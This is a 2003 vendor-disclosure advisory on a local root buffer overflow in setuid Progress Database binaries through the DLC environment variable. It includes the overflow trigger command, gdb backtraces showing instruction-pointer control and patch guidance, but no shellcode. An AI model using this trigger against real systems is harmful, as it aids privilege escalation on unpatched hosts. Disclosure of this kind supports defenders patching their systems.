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Progress Database DLC Local Root Exploit Vulnerability
Date: 2003-04-02

Author : Secure Network Operations, Inc. http://www.secnetops.com

This data will be available at http://www.secnetops.biz/research/ shortly.

For further information regarding Proof of Concept code please contact us at contact@secnetops.biz .
-KF

Secure Network Operations, Inc. http://www.secnetops.com
Strategic Reconnaissance Team research@secnetops.com
Team Lead Contact kf@secnetops.com

Our Mission:
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Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer.

Quick Summary:
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Advisory Number : SRT2003-04-01-1231
Product : Progress Database
Version : Versions 6 to 9.1D05
Vendor : progress.com
Class : local
Criticality : High (to all Progress users)
Operating System(s) : Linux, SunOS, SCO, TRU64, *nix

High Level Explanation
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High Level Description : Poor bounds checking leads to local root compromise
What to do : Apply Progress patch 9.1D05 which is available from
http://www.progress.com/patches/patchlst/91D-156v.htm

Technical Details
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Proof Of Concept Status : SNO has NUMEROUS exploits for the described situation
Low Level Description :

In the past Progress Software (http://www.progress.com) has had a number of security vulnerabilities. Most of these issues have been cross platform and spread across multiple versions of the Progress database. The current Progress policy is to fix the vulnerability in the most recent and supported version of the software in question. In efforts to illustrate the importance of upgrading your Progress installation I am going to detail one such cross version and cross platform vulnerability.

In the Progress environment the DLC variable tells Progress where it can find the base installation directory. (Un)fortunately when Progress binaries request and use the DLC variable there is a lack of user input verification in the form of bounds checking. In both lab and customer environments SNOSoft has been able to use this flaw to run our shellcode (machine instructions) of choice. The result of our testing shows that a full root compromise is quite plausible.

Our testing was conducted on the following Progress versions under unix based environments:

PROGRESS Developer's Toolkit Version 6.2K02 as of Fri Dec 6 20:00:11 EST 1991
"The PROGRESS 4GL&RDBMS" Version 6.3E14 as of Thu Sep 08 23:46:06 EDT 1994
PROGRESS Version 7.3E as of Thu Apr 17 18:12:18 EDT 1997
PROGRESS Version 8.2C as of Fri Feb 20 16:25:13 EST 1998
PROGRESS Version 8.3A as of Wed Aug 5 19:01:15 EDT 1998
PROGRESS Version 9.1C as of Wed Jun 6 20:42:24 EDT 2001
PROGRESS Version 9.1D as of Wed May 8 16:47:54 EDT 2002

Debugger output :

The below information confirms the issue is valid across all versions between v6 and v9. The results vary depending on the stack layout of the host operating system and endian of the processor.

First set an overly long DLC variable
bash-2.03$ export DLC=`perl -e 'print "A" x 9000'`

Make sure PROMSGS variable is set or you recieve the following error
bash-2.03$ /u/dlctk/_proutil
msgopn: unable to open PROMSGS

bash-2.03$ export PROMSGS=/path/to/promsgs

Earlier versions (v6) may not be exploitable (on SCO OpenServer at least) however this can not be confirmed at this time

bash-2.03$ /u/dlctk/_proutil
SYSTEM ERROR: strent request for more than 32K (893)

** Please save file named core for analysis by PSC. (439)
Quit (core dumped)

bash-2.03$ /u/dlc6/_mprosrv
11:48:07 SYSTEM ERROR: strent request for more than 32K (893)
11:48:07 ** Please save file named core for analysis by PSC. (439)
Quit

on versions beyond v7 the behavior changes to a positively exploitable situation

# /u/dlc7/bin/_mprosrv
(hangs and must be sent a kill signal)
Killed

Starting program: /u/dlc7/bin/_mprosrv

Program received signal SIGSEGV, Segmentation fault.
0x6fc93 in getenv ()
(gdb) bt
#0 0x6fc93 in getenv ()
#1 0x6f6fa in _tz_info ()
#2 0x75c59 in tzset ()
#3 0x6e3f1 in localtime_r ()
#4 0x6e2f0 in localtime ()
#5 0x4aebb in uthms ()
#6 0x286c in dblgm ()
#7 0x8664 in Iomsgw ()
#8 0x79c3 in msgout ()
#9 0x7782 in msgn ()
#10 0x8221 in drpfile ()
#11 0x82c1 in drstartpf ()
#12 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.

# /u/dlc8/bin/_mprosrv
(hangs and must be sent a kill signal)
Killed

Starting program: /u/dlc8/bin/_mprosrv
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x80021c2d in getenv ()
(gdb) bt
#0 0x80021c2d in getenv ()
#1 0x8001f2da in _tz_info ()
#2 0x8004e5c2 in tzset ()
#3 0x8004e4ba in _localtime_r ()
#4 0x8001db5f in localtime ()
#5 0x80a9d57 in uthms ()
#6 0x804d698 in dblgm ()
#7 0x805495d in .text ()
#8 0x8053b73 in msgout ()
#9 0x805394c in msgn ()
#10 0x80544d1 in drpfile ()
#11 0x8054581 in drstartpf ()
#12 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.

# /u/dlc9/bin/_mprosrv
(hangs and must be sent a kill signal)
Killed

Starting program: /u/dlc9/bin/_mprosrv

Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process.
Further execution is probably impossible.
0x80087e40 in ?? ()Cannot access memory at address 0x8005400c.
(gdb) bt
#0 0x80087e40 in ?? ()Cannot access memory at address 0x8005400c.
(gdb) i r
eax 0x8131e80 135470720
ecx 0x54 84
edx 0x8045adc 134503132
ebx 0x800dcc4c -2146579380
esp 0x8044d5c 0x8044d5c
ebp 0x800da78c 0x800da78c
esi 0x800da78c -2146588788
edi 0x41414141 1094795585
eip 0x80087e40 0x80087e40
ps 0x10206 66054
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x0 0

Patch or Workaround : Upgrade to Progress version 9.1D05

Recently Progress addressed the above mentioned issue in the latest 9.1D patch. Our understanding is that in order to receive protection from the DLC buffer overflow customers should upgrade to 9.1D05 as soon as possible. No plans have been made to roll these fixes back to previous versions. It is also our understanding that the product known as 9.1C will be "retired" soon.

Patches to the 9.1D version are available here:
http://www.progress.com/patches/patchlst/91D-156v.htm
The patch description is as follows:
20021204-055 * DB - signal services

The $DLC environment variable can be used to mount a buffer-overflow attack on Progress privileged binaries.

A patched system should respond as follows:

sh-2.05b# export DLC=`perl -e 'print "A" x 9000'`
sh-2.05b# export PROMSGS=/usr/dlc/promsgs
sh-2.05b# /usr/dlc/bin/_mprosrv
12:01:06 The DLC environment variable exceeds it's maximum length of 4095 bytes
(11001).

a valid work around to nearly any Progress security hole is to remove the suid bit from all binaries

Vendor Status : Patched
Bugtraq URL : to be assigned

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This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact research@secnetops.com for information on how to obtain exploit information.



 

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